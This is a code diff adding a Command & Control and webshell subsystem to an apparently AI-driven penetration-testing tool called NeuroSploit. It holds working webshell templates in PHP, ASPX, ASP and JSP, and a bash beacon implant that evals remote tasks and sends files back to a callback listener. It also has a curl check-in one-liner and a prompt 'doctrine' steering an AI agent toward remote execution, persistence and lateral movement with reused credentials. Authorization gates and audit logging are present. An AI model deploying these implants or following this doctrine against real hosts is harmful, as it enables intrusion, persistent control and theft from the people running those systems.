return Err(format!( + "unsupported beacon kind '{other}' (bash, python, powershell, php)" + )) + } + }; + let name = filename + .map(|f| f.to_string()) + .unwrap_or_else(|| format!("beacon-{}.{}", now_ms(), ext)); + let path = self.write_payload(&name, &content)?; + let size = content.len(); + self.record_payload( + &name, + "beacon", + size, + &format!("listener={} kind={k}", listener.id), + ); + self.store.audit( + "payload.beacon", + json!({"name": name, "listener_id": listener.id, "kind": k, "callback": base}), + ); + Ok(json!({ + "ok": true, + "name": name, + "kind": "beacon", + "transport": "http_beacon", + "language": k, + "path": path, + "content": content, + "callback": base, + "listener_id": listener.id, + "note": "The beacon checks in to the listener, pulls tasks, and reports results. Run it only on authorized hosts.", + })) + } + + pub async fn payload_oneliner(&self, listener_id: &str) -> Result { + let state = self.store.snapshot().await; + if !state.policy.enabled { + return Err("C2 is disabled — enable it explicitly first".into()); + } + let listener = state + .listeners + .iter() + .find(|l| l.id == listener_id) + .cloned() + .ok_or_else(|| "listener not found".to_string())?; + let base = format!( + "http://{}:{}", + listener.callback_host, listener.bind_port + ); + let oneliner = format!( + "curl -fsSk -H 'X-Implant-Token: {token}' -H 'Content-Type: application/json' -X POST '{base}/api/beacon' -d '{{\"uuid\":\"$(hostname)-$$\"}}' >/dev/null 2>&1", + token = listener.token, + base = base + ); + self.store + .audit("payload.oneliner", json!({"listener_id": listener.id})); + Ok(json!({ + "ok": true, + "kind": "oneliner", + "listener_id": listener.id, + "callback": base, + "oneliner": oneliner, + "note": "One-shot check-in. For a persistent channel use `payload beacon` instead.", + })) + } + + pub fn payload_path(&self, name: &str) -> Option { + let safe: String = name + .chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_' { + c + } else { + '_' + } + }) + .collect(); + let p = self.dir.join("payloads").join(safe); + if p.is_file() { + Some(p) + } else { + None + } + } + + // -- webshells --------------------------------------------------------- + + pub async fn add_webshell( + &self, + name: &str, + url: &str, + password: &str, + shell_type: &str, + method: &str, + cmd_param: &str, + pass_param: &str, + encoding: &str, + os: &str, + note: &str, + ) -> Result { + let state = self.store.snapshot().await; + let host = ensure_target_allowed(&state, url).await?; + let t = shell_type.trim().to_ascii_lowercase(); + if !matches!(t.as_str(), "php" | "asp" | "aspx" | "jsp" | "custom") { + return Err("shell_type must be php, asp, aspx, jsp or custom".into()); + } + let m = method.trim().to_ascii_uppercase(); + if m != "GET" && m != "POST" { + return Err("method must be GET or POST".into()); + } + let conn = WebshellConnection { + id: new_id("ws"), + name: if name.trim().is_empty() { + host.clone() + } else { + name.trim().to_string() + }, + url: url.trim().to_string(), + password: password.to_string(), + shell_type: t, + method: m, + cmd_param: if cmd_param.trim().is_empty() { + "cmd".into() + } else { + cmd_param.trim().to_string() + }, + pass_param: if pass_param.trim().is_empty() { + "pass".into() + } else { + pass_param.trim().to_string() + }, + encoding: if encoding.trim().is_empty() { + "auto".into() + } else { + encoding.trim().to_ascii_lowercase() + }, + os: if os.trim().is_empty() { + "auto".into() + } else { + os.trim().to_ascii_lowercase() + }, + note: note.to_string(), + created_at: now_ms(), + last_seen: None, + }; + let c = conn.clone(); + self.store + .mutate(|s| { + s.webshells.push(conn); + push_event( + s, + "info", + "webshell", + format!("WebShell '{}' saved ({})", c.name, c.url), + json!({"id": c.id, "host": host}), + ); + }) + .await; + self.store + .audit("webshell.add", json!({"id": c.id, "url": c.url, "type": c.shell_type})); + Ok(c) + } + + pub async fn update_webshell( + &self, + id: &str, + patch: &Value, + ) -> Result { + let state = self.store.snapshot().await; + let existing = state + .webshells + .iter() + .find(|w| w.id == id) + .cloned() + .ok_or_else(|| "webshell connection not found".to_string())?; + let mut conn = existing; + if let Some(v) = patch.get("name").and_then(|v| v.as_str()) { + conn.name = v.to_string(); + } + if let Some(v) = patch.get("url").and_then(|v| v.as_str()) { + ensure_target_allowed(&state, v).await?; + conn.url = v.to_string(); + } + if let Some(v) = patch.get("password").and_then(|v| v.as_str()) { + if !v.is_empty() { + conn.password = v.to_string(); + } + } + if let Some(v) = patch.get("shell_type").and_then(|v| v.as_str()) { + conn.shell_type = v.to_ascii_lowercase(); + } + if let Some(v) = patch.get("method").and_then(|v| v.as_str()) { + conn.method = v.to_ascii_uppercase(); + } + if let Some(v) = patch.get("cmd_param").and_then(|v| v.as_str()) { + if !v.is_empty() { + conn.cmd_param = v.to_string(); + } + } + if let Some(v) = patch.get("pass_param").and_then(|v| v.as_str()) { + if !v.is_empty() { + conn.pass_param = v.to_string(); + } + } + if let Some(v) = patch.get("encoding").and_then(|v| v.as_str()) { + conn.encoding = v.to_string(); + } + if let Some(v) = patch.get("os").and_then(|v| v.as_str()) { + conn.os = v.to_string(); + } + if let Some(v) = patch.get("note").and_then(|v| v.as_str()) { + conn.note = v.to_string(); + } + let c = conn.clone(); + self.store + .mutate(|s| { + if let Some(slot) = s.webshells.iter_mut().find(|w| w.id == id) { + *slot = c.clone(); + } + }) + .await; + self.store.audit("webshell.update", json!({"id": id})); + Ok(conn) + } + + pub async fn delete_webshell(&self, id: &str) -> Result<(), String> { + let found = self + .store + .mutate(|s| { + let before = s.webshells.len(); + s.webshells.retain(|w| w.id != id); + before != s.webshells.len() + }) + .await; + if !found { + return Err("webshell connection not found".into()); + } + self.store.audit("webshell.delete", json!({"id": id})); + Ok(()) + } + + pub async fn webshell(&self, id: &str) -> Option { + self.store + .snapshot() + .await + .webshells + .into_iter() + .find(|w| w.id == id) + } + + async fn webshell_request( + &self, + conn: &WebshellConnection, + command: &str, + ) -> Result<(String, u16), String> { + let state = self.store.snapshot().await; + ensure_target_allowed(&state, &conn.url).await?; + let user_agent = "Mozilla/5.0 (compatible; NeuroSploit-WebShell/1.0)"; + let resp = if conn.method == "GET" { + let mut u = reqwest::Url::parse(&conn.url).map_err(|e| e.to_string())?; + { + let mut qp = u.query_pairs_mut(); + qp.append_pair(&conn.pass_param, &conn.password); + qp.append_pair(&conn.cmd_param, command); + } + self.http + .get(u) + .header("User-Agent", user_agent) + .send() + .await + } else { + let body = format!( + "{}={}&{}={}", + percent_encode(&conn.pass_param), + percent_encode(&conn.password), + percent_encode(&conn.cmd_param), + percent_encode(command) + ); + self.http + .post(&conn.url) + .header("User-Agent", user_agent) + .header("Content-Type", "application/x-www-form-urlencoded") + .body(body) + .send() + .await + } + .map_err(|e| format!("request failed: {e}"))?; + let status = resp.status().as_u16(); + let bytes = resp + .bytes() + .await + .map_err(|e| format!("read response: {e}"))?; + let mut text = String::from_utf8_lossy(&bytes).to_string(); + if text.len() > OUTPUT_CAP { + text.truncate(OUTPUT_CAP); + text.push_str("\n[truncated by NeuroSploit]"); + } + self.store.audit( + "webshell.exec", + json!({"id": conn.id, "command": command, "http_status": status, "authorization": state.policy.authorized_by}), + ); + Ok((text, status)) + } + + pub async fn webshell_exec(&self, id: &str, command: &str) -> Result { + let conn = self + .webshell(id) + .await + .ok_or_else(|| "webshell connection not found".to_string())?; + if command.trim().is_empty() { + return Err("command is required".into()); + } + let (output, status) = self.webshell_request(&conn, command).await?; + self.store + .mutate(|s| { + if let Some(w) = s.webshells.iter_mut().find(|w| w.id == id) { + w.last_seen = Some(now_ms()); + } + }) + .await; + Ok(json!({ + "ok": status >= 200 && status < 400, + "connection_id": id, + "http_status": status, + "output": output, + })) + } + + pub async fn webshell_test(&self, id: &str) -> Result { + let conn = self + .webshell(id) + .await + .ok_or_else(|| "webshell connection not found".to_string())?; + let (probe, status) = self.webshell_request(&conn, "echo %OS%").await?; + let os_guess = if probe.to_ascii_lowercase().contains("windows") { + "windows" + } else { + "linux" + }; + let (whoami, _) = self + .webshell_request( + &conn, + if os_guess == "windows" { + "whoami" + } else { + "id 2>/dev/null || whoami" + }, + ) + .await + .unwrap_or_default(); + self.store + .mutate(|s| { + if let Some(w) = s.webshells.iter_mut().find(|w| w.id == id) { + w.last_seen = Some(now_ms()); + if w.os.eq_ignore_ascii_case("auto") || w.os.is_empty() { + w.os = os_guess.to_string(); + } + } + }) + .await; + Ok(json!({ + "ok": status >= 200 && status < 400, + "http_status": status, + "detected_os": os_guess, + "output": whoami.trim(), + })) + } + + pub async fn webshell_file( + &self, + id: &str, + action: &str, + path: &str, + content: Option<&str>, + target_path: Option<&str>, + ) -> Result { + let conn = self + .webshell(id) + .await + .ok_or_else(|| "webshell connection not found".to_string())?; + let os = if conn.os.eq_ignore_ascii_case("auto") || conn.os.is_empty() { + let (probe, _) = self + .webshell_request(&conn, "echo %OS%") + .await + .unwrap_or_default(); + if probe.to_ascii_lowercase().contains("windows") { + "windows" + } else { + "linux" + } + } else { + conn.os.as_str() + }; + let command = build_file_command( + action, + path, + target_path.unwrap_or(""), + content.unwrap_or(""), + os, + )?; + let (output, status) = self.webshell_request(&conn, &command).await?; + self.store + .mutate(|s| { + if let Some(w) = s.webshells.iter_mut().find(|w| w.id == id) { + w.last_seen = Some(now_ms()); + } + }) + .await; + self.store.audit( + "webshell.file", + json!({"id": id, "action": action, "path": path, "os": os}), + ); + Ok(json!({ + "ok": status >= 200 && status < 400, + "connection_id": id, + "action": action, + "http_status": status, + "output": output, + })) + } + + // -- policy ------------------------------------------------------------ + + pub async fn enable_policy( + &self, + authorization: &str, + persistence: bool, + lateral: bool, + allow_public: bool, + hosts: &[String], + ) -> Result { + if authorization.trim().is_empty() { + return Err( + "authorization reference is required to enable C2 (SOW, ticket, or bug-bounty URL)" + .into(), + ); + } + let policy = self + .store + .mutate(|s| { + s.policy.enabled = true; + s.policy.authorized_by = authorization.trim().to_string(); + s.policy.allow_persistence = persistence; + s.policy.allow_lateral = lateral; + if allow_public { + s.policy.allow_public_targets = true; + } + s.policy.internal_only = !allow_public; + for h in hosts { + let h = h.trim(); + if !h.is_empty() && !s.policy.allowed_hosts.iter().any(|x| x == h) { + s.policy.allowed_hosts.push(h.to_string()); + } + } + push_event( + s, + "warn", + "policy", + format!( + "C2 enabled by {}{}{}", + authorization.trim(), + if persistence { " · persistence allowed" } else { "" }, + if lateral { " · lateral allowed" } else { "" } + ), + json!({"persistence": persistence, "lateral": lateral, "allow_public": allow_public}), + ); + s.policy.clone() + }) + .await; + self.store.audit( + "policy.enable", + json!({"authorization": authorization.trim(), "persistence": persistence, "lateral": lateral, "allow_public": allow_public}), + ); + Ok(policy) + } + + pub async fn disable(&self) -> C2Policy { + let ids: Vec = self + .store + .snapshot() + .await + .listeners + .iter() + .map(|l| l.id.clone()) + .collect(); + for id in ids { + let _ = self.stop_listener(&id).await; + } + let policy = self + .store + .mutate(|s| { + s.policy.enabled = false; + push_event(s, "warn", "policy", "C2 disabled — listeners stopped", json!({})); + s.policy.clone() + }) + .await; + self.store.audit("policy.disable", json!({})); + policy + } + + pub async fn set_policy(&self, patch: &Value) -> Result { + let policy = self + .store + .mutate(|s| { + if let Some(v) = patch.get("authorized_by").and_then(|v| v.as_str()) { + s.policy.authorized_by = v.to_string(); + } + if let Some(v) = patch.get("internal_only").and_then(|v| v.as_bool()) { + s.policy.internal_only = v; + } + if let Some(v) = patch.get("allow_persistence").and_then(|v| v.as_bool()) { + s.policy.allow_persistence = v; + } + if let Some(v) = patch.get("allow_lateral").and_then(|v| v.as_bool()) { + s.policy.allow_lateral = v; + } + if let Some(v) = patch.get("allow_public_targets").and_then(|v| v.as_bool()) { + s.policy.allow_public_targets = v; + } + if let Some(arr) = patch.get("allowed_hosts").and_then(|v| v.as_array()) { + s.policy.allowed_hosts = arr + .iter() + .filter_map(|v| v.as_str()) + .map(|v| v.trim().to_string()) + .filter(|v| !v.is_empty()) + .collect(); + } + if let Some(arr) = patch.get("command_deny_regex").and_then(|v| v.as_array()) { + s.policy.command_deny_regex = arr + .iter() + .filter_map(|v| v.as_str()) + .map(|v| v.to_string()) + .collect(); + } + if let Some(v) = patch.get("max_sessions").and_then(|v| v.as_u64()) { + s.policy.max_sessions = (v as usize).clamp(1, 10_000); + } + s.policy.clone() + }) + .await; + self.store.audit("policy.update", json!({"policy": policy})); + Ok(policy) + } +} diff --git a/neurosploit-rs/crates/harness/src/c2/mod.rs b/neurosploit-rs/crates/harness/src/c2/mod.rs new file mode 100644 index 0000000..343f749 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/mod.rs @@ -0,0 +1,217 @@ +//! Command & Control (C2) and WebShell management. +//! +//! Opt-in, auditable post-exploitation tooling for **authorized internal +//! network engagements**, modelled on the C2 surface of CyberStrikeAI +//! (listener → session → task → payload) and its WebShell manager (saved +//! connections, command exec, file operations). +//! +//! Safety model: +//! * disabled by default; enabling requires an authorization reference; +//! * WebShell targets must resolve to private/loopback space unless the host +//! is explicitly allow-listed; +//! * persistence and lateral-movement task types require their own opt-in; +//! * every mutation is appended to `/audit.jsonl`; +//! * state and payloads are written with 0600 permissions. +//! +//! The CLI/MCP/REPL/web console all drive the same local control daemon, so +//! there is exactly one implementation of listener sockets, sessions and +//! tasks. + +mod client; +mod daemon; +mod http; +mod manager; +mod store; +mod templates; +mod types; + +pub use client::{control_request, ensure_daemon}; +pub use daemon::run_daemon; +pub use manager::C2Manager; +pub use types::{ + C2Policy, C2State, Event, Listener, PayloadRecord, Session, Task, WebshellConnection, +}; + +use std::fs::File; +use std::io::Read; +use std::path::PathBuf; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::time::{SystemTime, UNIX_EPOCH}; + +use base64::Engine as _; +use sha2::{Digest, Sha256}; + +pub(crate) const STATE_VERSION: u32 = 1; +pub(crate) const EVENT_CAP: usize = 1000; +pub(crate) const TASK_CAP: usize = 5000; +pub(crate) const OUTPUT_CAP: usize = 128 * 1024; +pub(crate) const BODY_CAP: usize = 32 * 1024 * 1024; +pub(crate) const BEACON_PULL_LIMIT: usize = 16; + +static ID_SEQ: AtomicU64 = AtomicU64::new(1); + +/// Root directory for C2 state. Mirrors the console's `.neurosploit/` layout; +/// override with `NEUROSPLOIT_C2_DIR`. +pub fn c2_dir() -> PathBuf { + if let Ok(p) = std::env::var("NEUROSPLOIT_C2_DIR") { + if !p.trim().is_empty() { + return PathBuf::from(p); + } + } + std::env::current_dir() + .unwrap_or_else(|_| PathBuf::from(".")) + .join(".neurosploit") + .join("c2") +} + +pub(crate) fn now_ms() -> i64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_millis() as i64) + .unwrap_or(0) +} + +pub(crate) fn new_id(prefix: &str) -> String { + let n = ID_SEQ.fetch_add(1, Ordering::Relaxed); + let t = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0); + format!("{prefix}_{t:x}{n:x}") +} + +pub(crate) fn random_token() -> String { + let mut bytes = [0u8; 32]; + let mut ok = false; + if let Ok(mut f) = File::open("/dev/urandom") { + ok = f.read_exact(&mut bytes).is_ok(); + } + if !ok { + let mut h = Sha256::new(); + h.update(now_ms().to_le_bytes()); + h.update(std::process::id().to_le_bytes()); + h.update(ID_SEQ.fetch_add(1, Ordering::Relaxed).to_le_bytes()); + let d = h.finalize(); + bytes[..32].copy_from_slice(&d[..32]); + } + bytes.iter().map(|b| format!("{b:02x}")).collect() +} + +pub(crate) fn b64(bytes: &[u8]) -> String { + base64::engine::general_purpose::STANDARD.encode(bytes) +} + +pub(crate) fn unb64(s: &str) -> Option> { + base64::engine::general_purpose::STANDARD + .decode(s.trim()) + .ok() +} + +pub(crate) fn clip(mut s: String) -> String { + if s.len() > OUTPUT_CAP { + s.truncate(OUTPUT_CAP); + s.push_str("\n[truncated by NeuroSploit C2]"); + } + s +} + +/// Post-exploitation doctrine injected into agent prompts when `--c2` is on. +/// It explains the *available verbs* and the boundary, so the model plans +/// with the same guardrails the daemon enforces. +pub fn doctrine() -> &'static str { + "C2 / POST-EXPLOITATION (authorized internal engagement, opt-in): a local \ +NeuroSploit C2 daemon is available for this run. Use it only against hosts in \ +scope and only on assets you own or are explicitly authorized to test.\n\ + • Inspect: `neurosploit c2 status --json`; sessions: `neurosploit c2 session list --json`.\n\ + • Remote command: `neurosploit c2 task exec --session --command '' --wait --json`.\n\ + • Persistence (only if allowed): `neurosploit c2 task persist --session --method auto --wait --json`.\n\ + • Lateral movement (only if allowed): `neurosploit c2 task lateral --session --command '' --wait --json`;\n\ + reuse credentials/tokens already proven in the engagement, and verify every hop.\n\ + • Webshells: `neurosploit webshell add ...` then `neurosploit webshell exec --id --command '' --json`.\n\ + • New listeners/payloads: `neurosploit c2 listener list --json`, `neurosploit c2 payload beacon --listener --kind bash --json`.\n\ +Rules: never touch out-of-scope hosts; never run destructive/DoS commands; persistence and \ +lateral tasks fail unless the operator enabled them; report C2 actions as evidence (task id, \ +session, output) in findings and the attack graph. Prefer the MCP tools (neurosploit_c2_*, \ +neurosploit_webshell) when they are available; otherwise the CLI verbs above are equivalent." +} + +/// A compact session snapshot for agent prompts. Returns an empty string when +/// C2 is disabled or unavailable — C2 must never break a normal run. +pub async fn agent_context() -> String { + if std::env::var("NEUROSPLOIT_C2").ok().as_deref() != Some("1") { + return String::new(); + } + let status = match control_request("GET", "/api/status", None).await { + Ok(v) => v, + Err(_) => return String::new(), + }; + let enabled = status + .pointer("/policy/enabled") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + if !enabled { + return String::new(); + } + let sessions = status.get("sessions").and_then(|v| v.as_array()).cloned().unwrap_or_default(); + let active: Vec = sessions + .iter() + .filter(|s| s.get("status").and_then(|v| v.as_str()) == Some("active")) + .take(12) + .map(|s| { + format!( + "- {} @ {} ({}/{}) user={} ip={} sleep={}s", + s.get("id").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("hostname").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("os").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("arch").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("username").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("internal_ip").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("sleep_seconds").and_then(|v| v.as_u64()).unwrap_or(0), + ) + }) + .collect(); + let webshells = status + .get("webshells") + .and_then(|v| v.as_array()) + .map(|a| a.len()) + .unwrap_or(0); + if active.is_empty() && webshells == 0 { + format!("\n\nC2 STATUS: enabled, no active sessions yet.\n{}\n", doctrine()) + } else { + format!( + "\n\nC2 STATUS: enabled · {} active session(s) · {} webshell connection(s).\n{}\n{}\n", + active.len(), + webshells, + active.join("\n"), + doctrine() + ) + } +} + +/// CLI entrypoint used by `neurosploit run --c2 ...` to make the daemon and +/// policy match the operator's launch flags. Fails closed: a C2 run cannot +/// start without an authorization reference. +pub async fn bootstrap( + authorization: &str, + persistence: bool, + lateral: bool, + allow_public: bool, +) -> Result { + if authorization.trim().is_empty() { + return Err( + "--c2 requires an authorization reference: --c2-authorization \"SOW/ticket/URL\"".into(), + ); + } + let body = serde_json::json!({ + "authorization": authorization, + "persistence": persistence, + "lateral": lateral, + "allow_public": allow_public, + }); + let out = control_request("POST", "/api/enable", Some(body)).await?; + let policy = out + .get("policy") + .cloned() + .ok_or_else(|| "daemon did not return a policy".to_string())?; + serde_json::from_value(policy).map_err(|e| format!("policy decode: {e}")) +} diff --git a/neurosploit-rs/crates/harness/src/c2/store.rs b/neurosploit-rs/crates/harness/src/c2/store.rs new file mode 100644 index 0000000..9bc8431 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/store.rs @@ -0,0 +1,209 @@ +use std::io::Write; +use std::net::IpAddr; +use std::path::{Path, PathBuf}; + +use serde_json::{json, Value}; +use tokio::sync::RwLock; + +use super::{C2State, STATE_VERSION}; + +pub(crate) struct C2Store { + pub(crate) dir: PathBuf, + pub(crate) state: RwLock, +} + +impl C2Store { + pub(crate) fn open(dir: &Path) -> std::io::Result { + std::fs::create_dir_all(dir)?; + std::fs::create_dir_all(dir.join("payloads"))?; + let path = dir.join("state.json"); + let state = match std::fs::read(&path) { + Ok(bytes) => match serde_json::from_slice::(&bytes) { + Ok(mut s) => { + if s.version == 0 { + s.version = STATE_VERSION; + } + s + } + Err(_) => { + let backup = dir.join(format!("state.corrupt-{}.json", super::now_ms())); + let _ = std::fs::rename(&path, &backup); + C2State::default() + } + }, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => C2State::default(), + Err(e) => return Err(e), + }; + Ok(Self { + dir: dir.to_path_buf(), + state: RwLock::new(state), + }) + } + + pub(crate) async fn snapshot(&self) -> C2State { + self.state.read().await.clone() + } + + async fn save_locked(&self, state: &C2State) -> std::io::Result<()> { + let bytes = serde_json::to_vec_pretty(state)?; + write_private(&self.dir.join("state.json"), &bytes) + } + + pub(crate) async fn mutate(&self, f: impl FnOnce(&mut C2State) -> R) -> R { + let mut guard = self.state.write().await; + let out = f(&mut guard); + if let Err(e) = self.save_locked(&guard).await { + eprintln!("[c2] could not persist state: {e}"); + } + out + } + + pub(crate) fn audit(&self, action: &str, detail: Value) { + let rec = json!({ + "ts": super::now_ms(), + "action": action, + "detail": detail, + }); + let line = format!("{rec}\n"); + let _ = append_private(&self.dir.join("audit.jsonl"), line.as_bytes()); + } +} + +pub(crate) fn write_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + let tmp = path.with_extension("tmp"); + { + let mut f = std::fs::File::create(&tmp)?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = f.set_permissions(std::fs::Permissions::from_mode(0o600)); + } + f.write_all(bytes)?; + f.sync_all()?; + } + if path.exists() { + let _ = std::fs::remove_file(path); + } + std::fs::rename(&tmp, path) +} + +fn append_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + let mut opts = std::fs::OpenOptions::new(); + opts.create(true).append(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.mode(0o600); + } + let mut f = opts.open(path)?; + f.write_all(bytes)?; + Ok(()) +} + +// --------------------------------------------------------------------------- +// Scope / guardrails +// --------------------------------------------------------------------------- + +pub(crate) fn host_matches_allowlist(host: &str, patterns: &[String]) -> bool { + let h = host.trim().trim_end_matches('.').to_ascii_lowercase(); + patterns.iter().any(|p| { + let p = p.trim().trim_end_matches('.').to_ascii_lowercase(); + if p.is_empty() { + return false; + } + if let Some(suffix) = p.strip_prefix("*.") { + return h == suffix || h.ends_with(&format!(".{suffix}")); + } + if let Some(suffix) = p.strip_prefix('.') { + return h == suffix || h.ends_with(&format!(".{suffix}")); + } + h == p + }) +} + +pub(crate) fn private_ip(ip: IpAddr) -> bool { + match ip { + IpAddr::V4(v4) => { + v4.is_loopback() + || v4.is_private() + || v4.is_link_local() + || (v4.octets()[0] == 100 && (64..=127).contains(&v4.octets()[1])) + } + IpAddr::V6(v6) => { + v6.is_loopback() + || (v6.segments()[0] & 0xfe00) == 0xfc00 + || (v6.segments()[0] & 0xffc0) == 0xfe80 + } + } +} + +pub(crate) async fn host_is_internal(host: &str) -> bool { + let h = host.trim().to_ascii_lowercase(); + if h == "localhost" || h.ends_with(".localhost") { + return true; + } + if let Ok(ip) = h.parse::() { + return private_ip(ip); + } + match tokio::net::lookup_host(format!("{h}:80")).await { + Ok(addrs) => { + let mut any = false; + for a in addrs { + any = true; + if !private_ip(a.ip()) { + return false; + } + } + any + } + Err(_) => false, + } +} + +pub(crate) fn host_of_url(url: &str) -> Option { + let u = reqwest::Url::parse(url).ok()?; + if u.scheme() != "http" && u.scheme() != "https" { + return None; + } + u.host_str().map(|s| s.to_string()) +} + +pub(crate) async fn ensure_target_allowed(state: &C2State, url_or_host: &str) -> Result { + if !state.policy.enabled { + return Err( + "C2/WebShell is disabled — enable it explicitly first: neurosploit c2 enable --authorization " + .into(), + ); + } + let host = if url_or_host.contains("://") { + host_of_url(url_or_host).ok_or_else(|| "invalid URL (only http/https)".to_string())? + } else { + url_or_host.trim().to_string() + }; + if host.is_empty() { + return Err("target host is empty".into()); + } + if host_matches_allowlist(&host, &state.policy.allowed_hosts) { + return Ok(host); + } + if state.policy.allow_public_targets { + return Ok(host); + } + if host_is_internal(&host).await { + return Ok(host); + } + Err(format!( + "host '{host}' is not internal and not in the C2 allow-list — add it with `neurosploit c2 enable --host {host}` (or `--allow-public` for an explicitly authorized external target)" + )) +} + +pub(crate) fn check_command(state: &C2State, command: &str) -> Result<(), String> { + for pat in &state.policy.command_deny_regex { + if let Ok(re) = regex::Regex::new(pat) { + if re.is_match(command) { + return Err(format!("command denied by OPSEC rule: {pat}")); + } + } + } + Ok(()) +} diff --git a/neurosploit-rs/crates/harness/src/c2/templates.rs b/neurosploit-rs/crates/harness/src/c2/templates.rs new file mode 100644 index 0000000..e93805a --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/templates.rs @@ -0,0 +1,411 @@ +//! Payload and command templates used by the C2 daemon and the WebShell +//! manager. Nothing here executes anything; the strings are returned to the +//! operator/agent and only run on the target when explicitly dispatched. + +use crate::c2::types::{Listener, Session}; +use crate::c2::{b64, random_token}; + +pub(crate) fn payload_php_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String { + format!( + "\n", + p = php_str(pass_param), + s = php_str(password), + c = php_str(cmd_param) + ) +} + +fn php_str(s: &str) -> String { + format!("'{}'", s.replace('\\', "\\\\").replace('\'', "\\'")) +} + +pub(crate) fn payload_aspx_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String { + format!( + "<%@ Page Language=\"C#\" %><%\n/* NeuroSploit WebShell — authorized engagements only */\nstring p = Request.Form[\"{pp}\"] ?? Request.QueryString[\"{pp}\"];\nstring c = Request.Form[\"{cp}\"] ?? Request.QueryString[\"{cp}\"];\nif (p == \"{pw}\" && !string.IsNullOrEmpty(c)) {{\n var psi = new System.Diagnostics.ProcessStartInfo(\"cmd.exe\", \"/c \" + c);\n psi.RedirectStandardOutput = true; psi.UseShellExecute = false;\n var proc = System.Diagnostics.Process.Start(psi);\n Response.Write(proc.StandardOutput.ReadToEnd());\n}}\n%>", + pp = pass_param, + cp = cmd_param, + pw = password + ) +} + +pub(crate) fn payload_asp_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String { + format!( + "<%\n' NeuroSploit WebShell — authorized engagements only\nIf Request(\"{pp}\") = \"{pw}\" Then\n Dim c, sh, o\n c = Request(\"{cp}\")\n If Len(c) > 0 Then\n Set sh = Server.CreateObject(\"WScript.Shell\")\n Set o = sh.Exec(\"cmd.exe /c \" & c)\n Response.Write(o.StdOut.ReadAll())\n End If\nEnd If\n%>", + pp = pass_param, + cp = cmd_param, + pw = password + ) +} + +pub(crate) fn payload_jsp_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String { + format!( + "<%@ page import=\"java.io.*\" %>\n<%-- NeuroSploit WebShell — authorized engagements only --%>\n<% if (\"{pw}\".equals(request.getParameter(\"{pp}\"))) {{\n String c = request.getParameter(\"{cp}\");\n if (c != null && c.length() > 0) {{\n Process p = Runtime.getRuntime().exec(new String[]{{\"/bin/sh\",\"-c\",c}});\n BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n String l;\n while ((l = r.readLine()) != null) {{ out.println(l); }}\n }}\n}} %>", + pp = pass_param, + cp = cmd_param, + pw = password + ) +} + +pub(crate) fn payload_bash_beacon(base: &str, token: &str, sleep_s: u32, jitter: u32) -> String { + let tpl = r#"#!/usr/bin/env bash +# NeuroSploit C2 beacon (HTTP) — authorized engagements only. +# Checks in, pulls tasks, executes them, reports results. No JSON parser needed. +BASE='@BASE@'; TOKEN='@TOKEN@'; UUID='@UUID@'; SLEEP=@SLEEP@; JITTER=@JITTER@ +report() { + curl -fsSk --max-time 20 -H "X-Implant-Token: $TOKEN" -X POST "$BASE/api/beacon" \ + --data-urlencode "uuid=$UUID" --data-urlencode "result_task_id=$1" \ + --data-urlencode "result_success=$2" --data-urlencode "result_output_b64=$3" >/dev/null 2>&1 +} +while :; do + BODY="uuid=$UUID&hostname=$(hostname 2>/dev/null||echo unknown)&username=$(whoami 2>/dev/null||echo unknown)" + BODY="$BODY&os=$(uname -s 2>/dev/null||echo unknown)&arch=$(uname -m 2>/dev/null||echo unknown)&pid=$$&sleep_seconds=$SLEEP&jitter_percent=$JITTER" + R=$(curl -fsSk --max-time 30 -H "X-Implant-Token: $TOKEN" -X POST "$BASE/api/beacon?format=sh" --data "$BODY") || { sleep "$SLEEP"; continue; } + NS=$(printf '%s\n' "$R" | sed -n 's/^SLEEP=//p'); [ -n "$NS" ] && SLEEP=$NS + printf '%s\n' "$R" | while read -r tag tid ttype tdata; do + [ "$tag" = "TASK" ] || continue + payload=$(printf '%s' "$tdata" | base64 -d 2>/dev/null) + case "$ttype" in + exec|lateral|persist) + cmd=$(printf '%s' "$payload" | sed -n 's/.*"command": *"\([^"]*\)".*/\1/p') + out=$(eval "$cmd" 2>&1); rc=$? + report "$tid" "$([ $rc -eq 0 ] && echo 1 || echo 0)" "$(printf '%s' "$out" | base64 -w0 2>/dev/null || printf '%s' "$out" | base64 | tr -d '\n')" + ;; + sleep) + NS2=$(printf '%s' "$payload" | sed -n 's/.*"seconds": *\([0-9]*\).*/\1/p'); [ -n "$NS2" ] && SLEEP=$NS2 + report "$tid" 1 "" + ;; + upload) + p=$(printf '%s' "$payload" | sed -n 's/.*"path": *"\([^"]*\)".*/\1/p') + d=$(printf '%s' "$payload" | sed -n 's/.*"content_b64": *"\([^"]*\)".*/\1/p') + if [ -n "$p" ] && [ -n "$d" ]; then printf '%s' "$d" | base64 -d > "$p" && report "$tid" 1 "wrote $p" || report "$tid" 0 "write failed"; else report "$tid" 0 "bad upload payload"; fi + ;; + download) + p=$(printf '%s' "$payload" | sed -n 's/.*"path": *"\([^"]*\)".*/\1/p') + if [ -r "$p" ]; then d=$(base64 -w0 "$p" 2>/dev/null || base64 "$p" | tr -d '\n'); report "$tid" 1 "$d"; else report "$tid" 0 "cannot read $p"; fi + ;; + exit) report "$tid" 1 "bye"; exit 0 ;; + *) report "$tid" 0 "unsupported task 